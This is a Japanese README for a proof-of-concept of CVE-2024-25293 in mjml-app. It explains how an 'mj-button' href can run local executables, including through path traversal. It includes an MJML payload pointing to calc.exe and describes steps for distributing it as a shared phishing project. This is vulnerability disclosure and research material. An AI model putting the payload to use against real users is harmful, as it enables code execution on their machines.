MJML ローカルコード実行 PoC

CVE-2024-25293 脆弱性の Proof-Of-Concept です。

mjml-app v3.0.4 & 3.1.0-beta には、リモートコード実行 (RCE) が含まれることが発見されました。このリポジトリには、脆弱なアプリケーションのサンプルと、それに対する Proof-Of-Concept (POC) エクスプロイトがあります。

PoC として、このプロセスを自動化する Python ファイルがあります。

1.脆弱性の概要:

脆弱性の対象: ローカルコード実行
脆弱性のバージョン: mjml-app 3.0.4-win & mjml-app 3.1.0-beta
攻撃タイプ: リモートコード実行
攻撃コンポーネント: 影響を受けるソースコードファイル内の 'mj-button' タグにおいて、'href' 属性によりローカルコード実行が可能になります。
予約済み CVE 番号: CVE-2024-25293

2. 脆弱性の原因:

mjml-app 3.0.4-win & mjml-app 3.1.0 beta は、'mj-button' タグにおけるセキュリティ設定ミス (Security Misconfiguration) が原因で、任意のコード実行が可能になります。
エクスプロイトの説明
- mjml アプリケーション内のイベントタグを通じてローカルファイルを実行することは、セキュリティ上の脅威となります。さらに、アプリケーション内でパストラバーサル (Path Traversal) と組み合わせることでコードが実行される可能性があり、パッチが必要です。

概念実証 (POC)

ステップ 1) 攻撃者は 'href' タグを持つ 'mj-button' を作成し、

ケース 1) パストラバーサルによるコード実行 (notepad.exe)
ケース 2) コード実行 (calc.exe)

<mjml>
  <mj-body>
    <mj-section>
      <mj-column>
        <mj-button background-color="#f45e43" color="white" href="C:\Users\EQST\Desktop\jruru\..\jruru_hacked.txt"> jruru </mj-button>
        <mj-button background-color="#f45e43" color="white" href="C:Windows/System32/calc.exe"> Code Execution </mj-button>
      </mj-column>
    </mj-section>
  </mj-body>
</mjml>

mjml1

ステップ 2) 攻撃者は次のコードを使用してメインのフィッシングプロジェクトを作成します。

<!-- header.mjml -->
<mj-section>
  <mj-column>
    <mj-text>This is a demo jruru</mj-text>
  </mj-column>
</mj-section>
<!-- main.mjml -->
<mj-include path="./index.mjml" />

mjml2

ステップ 3) 被害者が共有プロジェクトを開いてボタンをクリックすると、ペイロード (calc、notepad など) の実行がトリガーされます。 mjml3

3. 追加情報

アプリケーション内で href タグを通じて exe ファイルを実行することは危険であり、パストラバーサルと組み合わせてファイルを実行することはセキュリティ上の問題です。これにより、ローカルファイルを実行するためのフィッシングプロジェクトが作成・配布される可能性があります。したがって、このような実行を防ぐために、この機能を修正することが不可欠です。

CVE-2024-25293